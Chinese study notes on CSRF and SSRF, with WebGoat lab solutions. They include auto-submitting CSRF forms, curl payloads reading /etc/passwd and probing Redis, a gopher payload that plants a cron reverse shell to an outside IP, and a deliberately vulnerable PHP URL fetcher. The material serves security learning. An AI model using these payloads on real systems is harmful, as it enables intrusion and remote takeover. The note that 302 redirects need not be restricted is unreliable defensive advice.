CSRF
基础知识
- 与XSS区别
从信任的角度来区分
XSS:利用用户对站点的信任
CSRF:利用站点对已经身份认证的信任 - 攻击原理
在客户端与服务端(如果服务端没有对请求进行二次验证)建立合法请求之后,攻击者通过各种方法向受害者发送一个链接,受害者点击链接后,在受害者非自愿的情况下向服务端发送了指令(诸如修改密码之类的),之后,攻击者就可以通过受害者的账号和攻击者自己设置的新密码登录服务端。 - CSRF是一种业务逻辑漏洞
对关键操作缺少确认机制
自动扫描程序无法发现此类漏洞 - 漏洞利用条件
被害用户己经完成身份认证
新请求的提交不需要重新身份认证或确认机制
攻击者必须了解Web APP请求的参数构造
诱使用户触发攻击的指令(社工) - 防御手段
Captcha (验证码验证)
anti-CSRF token:( 在服务器端生成随机token,浏览器在发起针对数据的修改请求将token提交,由服务器端验证通过够进行操作逻辑,token需要至多一次有效,并具有有限的生命周期
a. 表单提交修改数据- 可将token生成在表单内使用input:hidden标签进行提交
b. Ajax提交修改数据-可将token生成在cookie内(cookie不能设置为httponly),ajax请求前通过js读取cookie中的token并添加到request body或者http requestheader中进行提交
)
referrer头检验
降低会话时间
题解
- 0x03
构造钓鱼页面发给受害者,诱使受害者(在于服务端建立连接之后)点击
<html><body><form action=\"http://192.168.80.2:8080/WebGoat/csrf/basic-get-flag\" method=\"POST\"><input type=\"hidden\" name=\"csrf\" value=\"false\" /><input type=\"hidden\" name=\"submit\" value=\"%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2\"/ ><input type=\"submit\" value=\"click\"/></form></body></html>
- 0x04
<html><body><form action=\"http://192.168.80.2:8080/WebGoat/csrf/review\" method=\"POST\"><input type=\"hidden\" name=\"reviewText\" value=\"a\" /><input type=\"hidden\" name=\"stars\" value=\"1\"/ ><input type=\"hidden\" name=\"validateReq\" value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/ ><input type=\"submit\" value=\"click\"/></form></body></html>
- 0x07
<html><body><form action=\"http://192.168.80.2:8080/WebGoat/csrf/feedback/message\" method=\"POST\" enctype=\"text/plain\" ><input type=\"hidden\" name=\'{\"name\": \"pasa\",\"email\":\"[email protected]\",\"subject\":\"service\",\"message\":\"\' value=\'aaa\"}\'></form><script>document.forms[0].submit();</script></body></html>
JSON CSRF
- 0x08
创建一个已csrf–当前用户名的新帐号即可
SSRF
基础知识
由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)
- SSRF的危害
内外网的端口和服务扫描
向内部任意主机的任意端口发送精心构造的Payload
DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
攻击内网的web应用,主要是使用GET参数就可以实现的攻击(比如struts2,sqli等)
利用file协议读取本地文件等
内外网主机应用程序漏洞的利用
内外网Web站点漏洞的利用 - SSRF漏洞的寻找
1)分享:通过URL地址分享网页内容
2)转码服务
3)在线翻译
4)图片加载与下载:通过URL地址加载或下载图片
5)图片、文章收藏功能
6)未公开的api实现以及其他调用URL的功能
7)从URL关键字中寻找 - SSRF漏洞的验证方法:
1)因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞
2)在页面源码中查找访问的资源地址 ,如果该资源地址类型为 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞 - 漏洞利用
1.本地利用
# dict protocol (操作Redis)curl -vvv \'dict://127.0.0.1:6379/info\'# file protocol (任意文件读取)curl -vvv \'file:///etc/passwd\'# gopher protocol (一键反弹Bash)# * 注意: 链接使用单引号,避免$变量问题curl -vvv \'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a\'
2.远程利用
<?phpfunction curl($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_exec($ch);curl_close($ch);}$url = $_GET[\'url\'];curl($url);?>
- 防御方法
限制协议为HTTP、HTTPS
不用限制302重定向
设置URL白名单或者限制内网IP
SSRF
题解
- 0x02
- 0x02